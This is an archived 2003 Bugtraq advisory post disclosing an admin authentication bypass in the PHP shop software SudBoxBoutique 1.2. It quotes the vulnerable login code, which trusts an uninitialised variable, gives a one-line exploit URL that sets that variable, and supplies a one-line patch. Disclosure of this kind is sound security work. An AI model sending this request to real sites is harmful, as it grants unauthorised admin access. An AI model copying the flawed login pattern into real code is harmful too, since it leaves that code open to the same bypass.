bugtraq - [VulnDiscuss] SudBoxBoutique : Admin Access (PHP)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 21 May 2003 15:38:55 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: bugtraq@...urityfocus.com, vulnwatch@...nwatch.org
Subject: [VulnDiscuss] SudBoxBoutique : Admin Access  (PHP)


Informations :
°°°°°°°°°°°°°

Website : http://www.sudbox.com
Version : 1.2
Problem : Admin Acess


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
admin pages (/admin/ directory):

---------------------------------------------
<?
session_start();

if (!session_is_registered('login')) {
	header("Location:page_centrale.php");
}
?>
---------------------------------------------


admin/login.php :

-----------------------------------------------------------------
<?
session_start();

include "../configuration.php";

$query = mysql_query("SELECT admin,motdepasse FROM $sbbadmin");


while ($row = mysql_fetch_row($query)) {
	if (($row[0] == $admin) && ($row[1] == $motdepasse)) {
		$check = "ok";
	}
}


if (IsSet($check)) {
	$login = $admin;
	session_register('login');
	include("nav.php");
	exit;
} else {
	header("Location: page_centrale.php");
}

?>
-----------------------------------------------------------------


Exploit :
°°°°°°°
http://[target]/admin/login.php?check=1&admin=1



Patch :
°°°°°°°
A security patch can be found on http://www.phpsecure.info .

Just add this line :
------------
$check = "";
------------

after this one :

-------------------------------
include "../configuration.php";
-------------------------------

in admin/login.php.


More Details In French :
°°°°°°°°°°°°°°°°°°°°°°
http://www.frog-man.org/tutos/SudBoxBoutique.txt






frog-m@n

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !  
http://messenger.fr.msn.be